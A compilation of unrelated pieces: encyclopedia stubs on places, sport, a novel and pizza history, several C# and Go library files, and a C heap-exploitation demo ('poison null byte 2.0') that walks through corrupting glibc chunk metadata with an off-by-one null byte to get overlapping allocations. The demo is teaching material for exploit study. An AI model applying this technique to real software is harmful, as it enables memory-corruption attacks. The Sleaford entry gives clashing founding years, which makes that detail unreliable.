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Veshareh (, also Romanized as Veshāreh) is a village in Manzariyeh Rural District, in the Central District of Shahreza County, Isfahan Province, Iran. At the 2006 census, its population was 488, in 150 families.
References
Populated places in Shahreza County |
Otto Weiß (born 20 April 1914, date of death unknown) was a German pair skater. Weiß became German pair champion in 1932 and 1933 with partner Wally Hempel. Weiß represented Germany in the 1936 Winter Olympics with Eva Prawitz. In 1937 the pair became also German champions. In 1938 he competed with Gisela Grätz and placed 3rd at the German nationals.
Competitive highlights
Pairs skating career
(* with Wally Hempel, ** with Eva Prawitz, *** with Gisela Grätz)
References
Otto Weiß' profile at Sports Reference.com
External links
1914 births
Year of death missing
German male pair skaters
Olympic figure skaters for Germany
Figure skaters at the 1936 Winter Olympics |
A European Union-wide banking stress test exercise has been conducted by the Committee of European Banking Supervisors every year since 2009. The second instance was performed in July 2010. The Council of the European Union (in its economic and financial – ECOFIN – configuration) mandated that Committee so to do, in the aftermath of the global financial crisis which started in 2007.
Summary of 2010 results by bank
The 2010 test was the second of its kind, which assesses the financial strength of European banks under different adverse scenarios. This was done in co-operation with the European Central Bank, the European Commission and the national supervisory authorities of the member states.
The 2010 results were released on 23 July 2010. Of the 90 banks tested, 7 failed the 6% tier 1 capital ratio threshold: five in Spain (Unnim, Diada, Espiga, Banca Cívica, and Cajasur), one in Germany (Hypo Real Estate), and one in Greece (ATEBank).
MEUR = million euros
Assets = total risk-weighted assets
Benchmark = tier 1 ratio with benchmark scenario at 31 December 2011
Adverse = tier 1 ratio with adverse scenario at 31 December 2011
Shock = tier 1 ratio with additional sovereign shock on the adverse scenario at 31 December 2011
Additional capital needed = additional capital needed to reach 6% tier 1 ratio under adverse scenario at 31 December 2011
See also
List of bank stress tests
European System of Financial Supervisors
Supervisory Capital Assessment Program, a similar exercise in the United States of America
References
External links
CEBS press release on the stress tests
Joint press release by the CEBS, the ECB, and the European Commission on the stress tests
Summary report of the stress tests
Results of the 2010 European Union banking stress test exercise
OECD: The EU Stress Test and Sovereign Debt Exposures
Economy of the European Union
Great Recession in Europe
Stress tests (financial)
fi:Stressitesti |
The 1978 Arizona Wildcats baseball team represented the University of Arizona during the 1978 NCAA Division I baseball season. The Wildcats played their home games at Wildcat Field. The team was coached by Jerry Kindall in his 6th season at Arizona. The Wildcats finished 42-13 overall and placed 2nd in the Western Athletic Conference's Southern Division with a 13–5 record. After a single year gap, Arizona was selected to the postseason and was placed in the West Regional hosted by the University of Southern California at Dedeaux Field in Los Angeles, California. The Wildcats lost their 1st game to USC before bouncing back to win their next 2 against Santa Clara and Cal State Fullerton. The team however lost their next game - a rematch with USC - to end their season. This would be Arizona's final season as members of the Western Athletic Conference, which they had been affiliated with for the previous 16 seasons. Beginning in 1979, the Wildcats would compete as members of the Pacific-10 Conference (later Pac-12 Conference) for the next 45 seasons, which they would remain in until leaving for the Big 12 Conference in 2024.
Previous Season
The Wildcats finished the 1977 season with a record of 38-25-1 and 11–7 in conference play, finishing 2nd in the WAC Southern. Arizona would miss the postseason for the 1st time since Jerry Kindall's inaugural 1973 season.
Personnel
Roster
Coaches
1978 Schedule and results
West Regional
1978 MLB Draft
References
Arizona Wildcats baseball seasons |
```smalltalk
using System;
using Renci.SshNet.Common;
namespace Renci.SshNet.Security
{
internal sealed class GroupExchangeHashData : SshData
{
private byte[] _serverVersion;
private byte[] _clientVersion;
private byte[] _prime;
private byte[] _subGroup;
public string ServerVersion
{
private get { return Utf8.GetString(_serverVersion, 0, _serverVersion.Length); }
set { _serverVersion = Utf8.GetBytes(value); }
}
public string ClientVersion
{
private get { return Utf8.GetString(_clientVersion, 0, _clientVersion.Length); }
set { _clientVersion = Utf8.GetBytes(value); }
}
public byte[] ClientPayload { get; set; }
public byte[] ServerPayload { get; set; }
public byte[] HostKey { get; set; }
public uint MinimumGroupSize { get; set; }
public uint PreferredGroupSize { get; set; }
public uint MaximumGroupSize { get; set; }
public BigInteger Prime
{
private get { return _prime.ToBigInteger(); }
set { _prime = value.ToByteArray().Reverse(); }
}
public BigInteger SubGroup
{
private get { return _subGroup.ToBigInteger(); }
set { _subGroup = value.ToByteArray().Reverse(); }
}
public byte[] ClientExchangeValue { get; set; }
public byte[] ServerExchangeValue { get; set; }
public byte[] SharedKey { get; set; }
/// <summary>
/// Gets the size of the message in bytes.
/// </summary>
/// <value>
/// The size of the messages in bytes.
/// </value>
protected override int BufferCapacity
{
get
{
var capacity = base.BufferCapacity;
capacity += 4; // ClientVersion length
capacity += _clientVersion.Length; // ClientVersion
capacity += 4; // ServerVersion length
capacity += _serverVersion.Length; // ServerVersion
capacity += 4; // ClientPayload length
capacity += ClientPayload.Length; // ClientPayload
capacity += 4; // ServerPayload length
capacity += ServerPayload.Length; // ServerPayload
capacity += 4; // HostKey length
capacity += HostKey.Length; // HostKey
capacity += 4; // MinimumGroupSize
capacity += 4; // PreferredGroupSize
capacity += 4; // MaximumGroupSize
capacity += 4; // Prime length
capacity += _prime.Length; // Prime
capacity += 4; // SubGroup length
capacity += _subGroup.Length; // SubGroup
capacity += 4; // ClientExchangeValue length
capacity += ClientExchangeValue.Length; // ClientExchangeValue
capacity += 4; // ServerExchangeValue length
capacity += ServerExchangeValue.Length; // ServerExchangeValue
capacity += 4; // SharedKey length
capacity += SharedKey.Length; // SharedKey
return capacity;
}
}
protected override void LoadData()
{
throw new NotImplementedException();
}
protected override void SaveData()
{
WriteBinaryString(_clientVersion);
WriteBinaryString(_serverVersion);
WriteBinaryString(ClientPayload);
WriteBinaryString(ServerPayload);
WriteBinaryString(HostKey);
Write(MinimumGroupSize);
Write(PreferredGroupSize);
Write(MaximumGroupSize);
WriteBinaryString(_prime);
WriteBinaryString(_subGroup);
WriteBinaryString(ClientExchangeValue);
WriteBinaryString(ServerExchangeValue);
WriteBinaryString(SharedKey);
}
}
}
``` |
```go
/*
Nging is a toolbox for webmasters
This program is free software: you can redistribute it and/or modify
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
along with this program. If not, see <path_to_url
*/
package oauth
import (
"github.com/admpub/nging/v5/application/dbschema"
"github.com/admpub/nging/v5/application/registry/settings"
"github.com/webx-top/com"
"github.com/webx-top/echo"
)
func init() {
settings.RegisterDecoder(`oauth`, func(v *dbschema.NgingConfig, r echo.H) error {
jsonData := NewConfig()
if len(v.Value) > 0 {
com.JSONDecode([]byte(v.Value), jsonData)
}
jsonData.On = v.Disabled != `Y`
r[`ValueObject`] = jsonData
return nil
})
settings.RegisterEncoder(`oauth`, func(v *dbschema.NgingConfig, r echo.H) ([]byte, error) {
oauthConfig := NewConfig().FromStore(v.Key, r)
return com.JSONEncode(oauthConfig)
})
}
``` |
Barilius bonarensis is a fish in genus Barilius of the family Cyprinidae. It is found in the western Himalaya in India.
References
Barilius
Fish of India
Fish described in 1912 |
Baillie Peak () is a peak over high, located south-southeast of Mount Angier in the Moore Mountains, Queen Elizabeth Range, Antarctica. The peak was observed by the Ohio State University Geological Party, 1967–68, which named it for Ralph J. Baillie, a field assistant with the party.
References
Mountains of the Ross Dependency
Shackleton Coast |
Sleaford Town F.C. is a football club based in Sleaford, Lincolnshire, England. The club plays in the .
History
Sleaford Town were founded in 1923. They joined the Lincolnshire League, where they were generally successful, being a regular top-ten team. In 2003, Town announced plans to seek a higher level of football in the United Counties League. They had their best-ever season in 2003–04, winning the title for the first time in twenty-three years, and gaining promotion to the UCL
After leaving their previous ground, Sleaford played for three seasons at RAF Cranwell, but despite winning the Division One title in 2005–06, they were not allowed promotion until their new Eslaforde Park ground was ready the following season, and they finished runners-up.
The club are currently members of the United Counties League Premier Division, led by manager Paul Ward.
They first entered the FA Cup in season 2008–09, reaching the First Round Qualifying, while in the FA Vase, their best performance has been to reach the Fourth Round in season 2015-16.
Current squad
Management and coaching staff
Current staff
Honours
United Counties League Division One
Champions 2005–06
Runners-up 2006–07
Records
FA Cup
First Qualifying Round 2008–09, 2009–10
FA Vase
Fourth Round 2015-16
References
External links
Football clubs in England
Association football clubs established in 1968
United Counties League
Football clubs in Lincolnshire
1968 establishments in England
Lincolnshire Football League |
Tactical Nav (stylized as Tactical NAV) is a location-based tracking app designed for use by military personnel. The app is primarily designed to assist in identifying targets, pinpointing enemy fire and mapping waypoints.
Overview
The app allows users to pinpoint enemy fire and identify targets using their mobile phone's camera, the Military Grid Reference System (MGRS) and the GPS. The app is used to direct mortar and artillery fire. It is also used in close combat and close air support operations. Information gathered by the app can be sent to a tactical operations center, where a decision is made to conduct an airstrike or provide medical evacuation to wounded troops. Waypoint and location data can be shared via Facebook, text and email.
The app allows includes features designed to make its use less conspicuous, such as a red-light user interface which conceals light from the phone's screen at night.
History
Tactical NAV was designed by U.S. Army Captain Jonathan J. Springer, a former Battalion Fire Support Officer in the 101st Airborne Division. Springer conceived the idea for the app while on his third tour in Afghanistan in support of Operation Enduring Freedom. After a rocket attack by the Taliban killed two soldiers in his battalion, he was inspired to create an app that would prevent similar losses from occurring in the future.
Springer founded Tactical NAV, LLC (formerly AppDaddy) in 2010 to develop mobile applications for use by military personnel. Springer tested the app in combat situations during his service in eastern Afghanistan. The app was released on the App Store on February 14, 2011. As of 2012, the app had been downloaded 8,000 times by members of the United States Armed Forces, Canadian Armed Forces and Australian Defence Force.
As of December 2021, the app is available on both iOS and Android.
References
Geographic data and information software
Mobile applications
Mobile route-planning software |
Big Girl is a novel by Danielle Steel, published by Delacorte Press on February 23, 2010. The book is Steel's 80th novel.
Synopsis
Big Girl starts out with a couple, Jim and Christine, who marry at an early age. From the beginning, their morals are dubious. Jim really wants them to have a baby boy. Christine also wants a boy, but only because her husband does. They try but end up having a girl. She is born to a narcissistic father who is obsessed with looks and money, and a food- and fitness-obsessed housewife who plays bridge, and who seems to exist to agree with her husband. Both parents are disappointed in their baby girl from the moment she is born. They name her "Victoria", for Queen Victoria — not because, as Victoria believed as a child, she was a queen in her father's eyes, but because the picture Victoria saw of her namesake depicted a "fat and ugly old woman, who resembled one of the dogs she posed with".
As she grows older, Victoria is referred to as a "genetic throwback" to Jim's great-grandmother, known for her overweight, matronly figure, fair looks and "large nose", rather than resembling her dark-haired, dark-eyed parents. Constantly bullied by her parents about her weight, everything changes for Victoria at seven years old when her mother has another baby. It is another girl they name Grace, whom Victoria calls "Gracie". Even though Gracie receives constant favouritism, praise, and adoration, Victoria shows no jealousy and is obsessed with doing everything for her sister from the moment she is born. As the girls grow up and Victoria and Gracie get older, their love for each other is stronger than ever, despite the constant remarks their parents make about Victoria's weight, her chosen career as a teacher, and lack of a husband or boyfriend.
Victoria moves to New York and lands a job at a prestigious school, although her parents still criticize her. There she gains few friends, but good friends. She tries a few tentative relationships, all of which fail. She blames this on her being "too fat, too clever and unlovable", parroting her parents' beliefs. She sees a psychiatrist, and works through some of her problems but always returns to eating when upset. When Victoria finds out her sister is engaged to a rich, controlling fiancé, Victoria begins to worry her younger sister will turn into her parents.
In the end Victoria finally confronts her parents in regards to their past emotional abuse of her.
References
2010 American novels
American romance novels
Contemporary romance novels
Novels by Danielle Steel
Delacorte Press books |
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 18.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;
printf("We allocate 0x500 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x500);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x500 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xa00);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x500);
printf("c: %p\n", c);
barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// path_to_url
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x9f0) = 0xa00;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0xa00 since 0xa00 == (0xa11 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x9f0) = 0xa00;
// this technique works by overwriting the size metadata of a free chunk
free(b);
printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0xa00 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0xa00 (was 0xa10 before the overflow)
// next_chunk(P) == b-0x10+0xa00 == b+0x9f0
// prev_size (next_chunk(P)) == *(b+0x9f0) == 0xa00
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x500);
printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control
b2 = malloc(0x480);
printf("b2: %p\n",b2);
memset(b2,'B',0x480);
printf("Current b2 content:\n%s\n",b2);
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1);
free(c);
printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0xc00);
printf("d: %p\n",d);
printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0xc00);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to path_to_url"
"for the clear explanation of this technique.\n");
assert(strstr(b2, "DDDDDDDDDDDD"));
}
``` |
The history of pizza begins in antiquity, as various ancient cultures produced basic flatbreads with several toppings.
A precursor of pizza was probably the focaccia, a flatbread known to the Romans as , to which toppings were then added. Modern pizza evolved from similar flatbread dishes in Naples, Italy, in the 18th or early 19th century.
The word pizza was first documented in AD 997 in Gaeta and successively in different parts of Central and Southern Italy. Pizza was mainly eaten in Italy and by emigrants from there. This changed after World War II when Allied troops stationed in Italy came to enjoy pizza along with other Italian foods.
Origins
Foods similar to pizza have been made since antiquity. Records of people adding other ingredients to bread to make it more flavorful can be found throughout ancient history.
In the 6th century BC, Persian soldiers serving under Darius the Great baked flatbreads with cheese and dates on top of their battle shields.
In Ancient Greece, citizens made a flatbread called plakous (πλακοῦς, gen. πλακοῦντοςplakountos) which was flavored with toppings like herbs, onion, cheese and garlic.
An early reference to a pizza-like food occurs in the Aeneid (c. 19 BC), when Celaeno, the Harpy queen, foretells that the Trojans would not find peace until they were forced by hunger to eat their tables (Book III). In Book VII, Aeneas and his men are served a meal that includes round cakes (like pita bread) topped with cooked vegetables. When they eat the bread, they realize that these are the "tables" prophesied by Celaeno.
Examples of flatbreads that survive to this day from the ancient Mediterranean world include focaccia (which may date back as far as the ancient Etruscans); Manakish in the Levant, coca (which has sweet and savory varieties) from Catalonia, Valencia and the Balearic Islands; the Greek Pita; Lepinja in the Balkans; and Piadina in the Romagna part of Emilia-Romagna in Italy.
Foods similar to flatbreads in other parts of the world include Chinese bing (a wheat flour-based Chinese food with a flattened or disk-like shape); the Indian paratha (in which fat is incorporated); the Central and South Asian naan (leavened) and roti (unleavened); the Sardinian carasau, spianata, guttiau, pistoccu; and Finnish rieska. Also worth noting is that throughout Europe, there are many similar pies based on the idea of covering flat pastry with cheese, meat, vegetables and seasoning, such as the Alsatian flammkuchen, German zwiebelkuchen, and French quiche.
In 16th-century Naples, a galette flatbread was referred to as a pizza; it was known as a dish for poor people, particularly as street food, and was not considered a kitchen recipe until much later. It was not until the Spanish brought the tomato from the Americas and developed the modern variation that Pizzas in their modern conception were invented. It is said that the tomato reached the Kingdom of Naples and Sicily, at the time part of the Spanish Empire, through either Pedro Álvarez de Toledo in the 16th century or viceroy Manuel de Amat, who may have gifted some seeds to the Neapolitans in 1770 on behalf of the Viceroyalty of Peru.
In 1843, Alexandre Dumas described the diversity of pizza toppings. An often recounted story holds that on June 11, 1889, to honour the queen consort of Italy, Margherita of Savoy, the Neapolitan pizza maker Raffaele Esposito created the "Pizza Margherita", a pizza garnished with tomatoes, mozzarella, and basil, to represent the national colours of Italy as on the Flag of Italy. But the Pizza Margherita already existed: "The most popular and famous pizzas from Naples were the ‘Marinara’, created in 1734, and the ‘Margherita’, which dates from 1796-1810. The latter was presented to the Queen of Italy upon her visit to Naples in 1889, specifically on account of the colour of its seasoning (tomato, mozzarella and basil), which are reminiscent of the colours of the Italian flag." Later research casts further doubt on this legend, also undermining the authenticity of the letter of recognition, pointing that no media of the period reported about supposed visit and that the story was first promoted in the 1930s-1940s.
Pizza evolved into a variety of bread and tomato dish often served with cheese. However, until the late 19th or early 20th century, the dish was sweet, not savory, and earlier versions that were savory resembled the flatbreads now known as schiacciata. Pellegrino Artusi's classic early-twentieth-century cookbook, La Scienza in cucina e l'Arte di mangiar bene gives three recipes for pizza, all of which are sweet. After the feedback of some readers, Artusi added a typed sheet in the 1911 edition (discovered by food historian Alberto Capatti), bound with the volume, with the recipe of "pizza alla napoletana": mozzarella, tomatoes, anchovies and mushrooms.
However, by 1927, Ada Boni's first edition of il talismano della felicità (a well-known Italian cookbook) includes a recipe using tomatoes and mozzarella.
Innovation
The innovation that led to flatbread pizza was the use of tomato as a topping. For some time after the tomato was taken to Europe from the Americas in the 16th century, it was believed by many Europeans to be poisonous, as are some other fruits of the Solanaceae (nightshade) family. By the late 18th century, it was common for the poor of the area around Naples to add tomato to their yeast-based flatbread, thus the pizza began.
According to documents discovered by historian Antonio Mattozzi in the State Archive of Naples, in 1807, 54 pizzerias existed; listed were owners and addresses. In the second half of the nineteenth century the number of pizzerias increased to 120.
In Naples, two other figures connected to the trade existed – the pizza hawker (pizzaiuolo ambulante), who sold pizza but did not make it, and the seller of pizza "a oggi a otto", who made pizzas and sold them in return for a payment for seven days.
The pizza marinara method has a topping of tomato, oregano, garlic, and extra virgin olive oil. It is named "marinara" because it was traditionally prepared by the seaman's wife 'la marinara" for her seafaring husband upon returning from fishing trips in the Bay of Naples.
The margherita is topped with modest amounts of tomato sauce, mozzarella, and fresh basil. It is widely attributed to baker Raffaele Esposito, who worked at the restaurant "Pietro... e basta così" ("Pietro... and that's enough"), established in 1880 and remaining in business as "Pizzeria Brandi". Though recent research casts doubt on this legend, the tale holds that, in 1889, he baked three different pizzas for the visit of King Umberto I and Queen Margherita of Savoy. The Queen's favorite was a pizza evoking the colors of the Italian flag – green (basil leaves), white (mozzarella), and red (tomatoes). According to the tale, this combination was named Pizza Margherita in her honor. Although those were the most preferred, there are many variations of pizzas today.
"Associazione Verace Pizza Napoletana" ("True Neapolitan Pizza Association"), which was founded in 1984, has set the very specific rules that must be followed for an authentic Neapolitan pizza. These include that the pizza must be baked in a wood-fired, domed oven; the base must be hand-kneaded and must not be rolled with a pin or prepared by any mechanical means (i pizzaioli – the pizza makers – make the pizza by rolling it with their fingers) and that the pizza must not exceed 35 centimetres in diameter or be more than one-third of a centimetre thick at the centre. The association also selects pizzerias globally to produce and spread the verace pizza napoletana philosophy and method.
There are many famous pizzerias in Naples where these traditional pizzas can be found, such as Da Michele, Port'Alba, Brandi, Di Matteo, Sorbillo, Trianon, and Umberto. Most of them are in the ancient historical center of Naples. These pizzerias follow even stricter standards than the specified rules. For example, using only San Marzano tomatoes grown on the slopes of Mount Vesuvius and drizzling the olive oil and adding tomato topping in only a clockwise direction.
The pizza bases in Naples are soft and pliable. In Rome, they prefer a thin and crispy base. Another popular form of pizza in Italy is "pizza al taglio", which is pizza baked in rectangular trays with a wide variety of toppings and sold by weight.
In 1962, the "Hawaiian" pizza, a pizza topped with pineapple and ham, was invented in Canada by restaurateur Sam Panopoulos at the Satellite Restaurant in Chatham, Ontario.
In December 2009, the pizza napoletana was granted Protected Designation of Origin (PDO) status by the European Union.
In 2012, the world's largest pizza was made in Los Angeles. It measured 1261.65 square meters in area.
In 2016, robotics company BeeHex, widely covered in the media, was building robots that 3D-printed pizza.
In December 2017, the pizza napoletana was inscribed on the UNESCO Intangible Cultural Heritage Lists.
Pizza in Canada
Canada's first pizzeria opened in 1948, Pizzeria Napoletana in Montreal. The first pizza ovens started entering the country in the late 1950s; it gained popularity throughout the 1960s, with many pizzerias and restaurants opening across the country. Pizza was mostly served in restaurants and small pizzerias. Most pizza restaurants across Canada also serve popular Italian cuisine in addition to pizza, such as pasta, salad, soups and sandwiches. Fast-food pizza chains also provide other side options for customers to choose from, in addition to ordering pizza, including chicken wings, fries and poutine, salad, and calzones. Pizza Pops are a Canadian calzone-type snack introduced in the 1960s. Pizza chains across Canada can be found in shopping centres, schools, and neighbourhood plazas, with the majority of these chains offering a sit-and-dine facility for customers.
The most distinct pizza in Canada is the "Canadian" pizza. A "Canadian" pizza is usually prepared with tomato sauce, mozzarella cheese, pepperoni, mushrooms, and bacon. Many variations of this pizza exist, but the two standout ingredients that make this pizza distinctly Canadian are bacon and mushrooms. Pizzas in Canada are almost never served with "Canadian bacon", or "back bacon", as it is referred to in Canada. Rather, side bacon is the standard pork topping on pizza.
In the province of Quebec Pizza-ghetti is a combination meal commonly found in fast food or family restaurants. It consists of a pizza, sliced in half, accompanied by a small portion of spaghetti with a tomato-based sauce. Although both pizza and spaghetti are considered staples of Italian cuisine, combining them in one dish is completely unknown in Italy. A popular variant involves using spaghetti as a pizza topping under the pizza's mozzarella cheese.
Some of Canada's successful pizza brands include Boston Pizza and Pizza Pizza. Boston Pizza, also known as BP's in Canada, and "Boston'sthe Gourmet Pizza" in the United States and Mexico, is one of Canada's largest franchising restaurants. The brand has opened over 325 locations across Canada and 50 locations in Mexico and the US. The first Boston Pizza location was opened in Edmonton, Alberta, in 1964, and operated under the name "Boston Pizza & Spaghetti House", with locations still opening across the nation.
Pizza Pizza, and its subsidiary chain Pizza 73 in Western Canada, are among Canada's largest domestic brands based in Ontario. To date, they have over 500 locations nationwide and fill more than 29 million orders annually.
With pizza gaining popularity across the nation, major American pizza chains such as Pizza Hut, Domino's Pizza and Little Caesars have expanded their locations in Canada, competing against the domestic Canadian brands. The major American pizza chains have brought their signature classic pizza recipes and toppings into their Canadian chains, offering their traditional classic pizzas to Canadian customers. However, the American chains have also created Canadian specialty pizzas that are available only in Canada.
Pizza in the United States
Pizza first made its appearance in the United States with the arrival of Italian immigrants in the late 19th century.
According to a 2009 response published in a column on Serious Eats, the first printed reference to "pizza" served in the US is a 1904 article in The Boston Journal. Giovanni and Gennaro Bruno came to America from Naples, Italy, in 1903 and introduced the Neapolitan pizza to Boston. Later, Vincent Bruno (Giovanni's son) went on to open the first pizzeria in Chicago.
Conflicting stories have the first pizzeria opening in 1905 when Gennaro Lombardi applied for a license in New York to make and sell pizza. One of the generally accepted first US businesses to sell pizza, Lombardi's, opened in 1897 as a grocery store at 53½ Spring Street, with tomato pies wrapped in paper and tied with a string sold at lunchtime to workers from the area's factories. In 1905, putative founder Gennaro Lombardi received a business license to operate a pizzeria restaurant and soon had a clientele that included Italian tenor Enrico Caruso. He later passed the business on to his son, George. Lombardi's served as a incubator for many other pizzerias in New York, including Totonno's in Coney Island, which was started by the original baker at Lombardi's, Anthony "Totonno" Pero in 1924.
Pizza was brought to the Trenton area of New Jersey with Joe's Tomato Pies opening in 1910, followed soon by Papa's Tomato Pies in 1912. In 1936, De Lorenzo's Tomato Pies was opened. While Joe's Tomato Pies has closed, both Papa's and Delorenzo's have been run by the same families since their openings and remain among the most popular pizzas in the area. Frank Pepe Pizzeria Napoletana in New Haven, Connecticut, was another early pizzeria that opened in 1925 (after the owner served pies from local carts and bakeries for 20–25 years) and is famous for its New Haven–style Clam Pie. Frank Pepe's nephew Sal Consiglio opened a competing store, Sally's Apizza, on the other end of the block, in 1938. Both establishments are still run by descendants of the original family. When Sal died, over 2,000 people attended his wake, and The New York Times ran a half-page memoriam. The D'Amore family introduced pizza to Los Angeles in 1939. In Chicago, two entrepreneurs, Ike Sewell and Ric Riccardo, invented Chicago-style deep-dish pizza, in 1943. They opened their own restaurant on the corner of Wabash and Ohio, Pizzeria Uno.
Before the 1940s, pizza consumption was limited mostly to Italian Americans. Following World War II, veterans returning from the Italian Campaign, who were introduced to Italy's native cuisine, proved a ready market for pizza in particular, touted by "veterans ranging from the lowliest private to Dwight D. Eisenhower". By the 1950s, it was popular enough to be featured in an episode of I Love Lucy. Once it had become fully naturalized in the U.S., its market expanded in two different directions: through neighborhood pizzerias and through pizza chains.
By the 1970s, neighborhood pizzerias, often run by Italian or (later) Greek immigrants, became a defining feature of life in cities and suburbs with significant ethnic-Italian populations, most notably around New York City, Philadelphia, Baltimore, and Chicago. Such pizza joints usually also sell subs; since the 1990s, gyros have also joined their standard repertoire. Competition among these small restaurants is quiet but intense, leading to an average level of quality that often surprises visitors from elsewhere in the U.S. and is a point of some regional pride.
Pizza consumption has exploded in the U.S with the introduction of pizza chains such as Domino's and Pizza Hut. Leading early pizza chains were Shakey's Pizza, founded in 1954 in Sacramento, California; Pizza Hut, founded in 1958 in Wichita, Kansas; and Little Caesars, founded in 1959 in Garden City, Michigan. Later restaurant chains in the dine-in pizza market were Bertucci's, Happy Joe's, Monical's Pizza, California Pizza Kitchen, Godfather's Pizza, and Round Table Pizza, as well as Domino's, Pizza Hut, Little Caesars and Papa John's. Pizzas from take and bake pizzerias, and chilled or frozen pizzas from supermarkets make pizza readily available nationwide. 13% of the US population consumes pizza on any given day.
See also
Food history
Pizza in China
Pizza effect
References
Further reading
Barrett, Liz (2014). Pizza: A Slice of American History. Minneapolis: Voyageur Press online
Dickie, John (2010). Delizia: The Epic History of the Italians and Their Food. New York: Free Press.
Helstosky, Carol (2008). Pizza: A Global History ( London: Berg) online.
Marino, Michael P., and Margaret S. Crocco. "Pizza: Teaching US History through food and place." The Social Studies 106.4 (2015): 149-158. doi.org/10.1080/00377996.2015.1020354
Mattozzi, Antonio (2015). Inventing the Pizzeria: A History of Pizza Making in Naples. London: Bloomsbury Academic excerpt
Nowak, Zachary, and Antonio Mattozzi. “Interview with Antonio Mattozzi, Author of Inventing The Pizzeria: A History of Pizza Making in Naples.” Gastronomica 15#4 (2015), pp. 1–5. online
Nowak, Zachary. "Folklore, fakelore, history: Invented tradition and the origins of the pizza margherita." Food, Culture & Society 17.1 (2014): 103-124. online
Ovadia, David. "A history of pizza." in Bubbles in Food (AACC International Press, 2008). 411-423. online
Pizza
Pizza |
Nagytótfalu is a village in Baranya county, Hungary.
Populated places in Baranya County |
```go
// Code generated by smithy-go-codegen DO NOT EDIT.
package route53
import (
"context"
"fmt"
awsmiddleware "github.com/aws/aws-sdk-go-v2/aws/middleware"
"github.com/aws/aws-sdk-go-v2/service/route53/types"
"github.com/aws/smithy-go/middleware"
smithyhttp "github.com/aws/smithy-go/transport/http"
)
// Disables DNSSEC signing in a specific hosted zone. This action does not
// deactivate any key-signing keys (KSKs) that are active in the hosted zone.
func (c *Client) DisableHostedZoneDNSSEC(ctx context.Context, params *DisableHostedZoneDNSSECInput, optFns ...func(*Options)) (*DisableHostedZoneDNSSECOutput, error) {
if params == nil {
params = &DisableHostedZoneDNSSECInput{}
}
result, metadata, err := c.invokeOperation(ctx, "DisableHostedZoneDNSSEC", params, optFns, c.addOperationDisableHostedZoneDNSSECMiddlewares)
if err != nil {
return nil, err
}
out := result.(*DisableHostedZoneDNSSECOutput)
out.ResultMetadata = metadata
return out, nil
}
type DisableHostedZoneDNSSECInput struct {
// A unique string used to identify a hosted zone.
//
// This member is required.
HostedZoneId *string
noSmithyDocumentSerde
}
type DisableHostedZoneDNSSECOutput struct {
// A complex type that describes change information about changes made to your
// hosted zone.
//
// This member is required.
ChangeInfo *types.ChangeInfo
// Metadata pertaining to the operation's result.
ResultMetadata middleware.Metadata
noSmithyDocumentSerde
}
func (c *Client) addOperationDisableHostedZoneDNSSECMiddlewares(stack *middleware.Stack, options Options) (err error) {
if err := stack.Serialize.Add(&setOperationInputMiddleware{}, middleware.After); err != nil {
return err
}
err = stack.Serialize.Add(&awsRestxml_serializeOpDisableHostedZoneDNSSEC{}, middleware.After)
if err != nil {
return err
}
err = stack.Deserialize.Add(&awsRestxml_deserializeOpDisableHostedZoneDNSSEC{}, middleware.After)
if err != nil {
return err
}
if err := addProtocolFinalizerMiddlewares(stack, options, "DisableHostedZoneDNSSEC"); err != nil {
return fmt.Errorf("add protocol finalizers: %v", err)
}
if err = addlegacyEndpointContextSetter(stack, options); err != nil {
return err
}
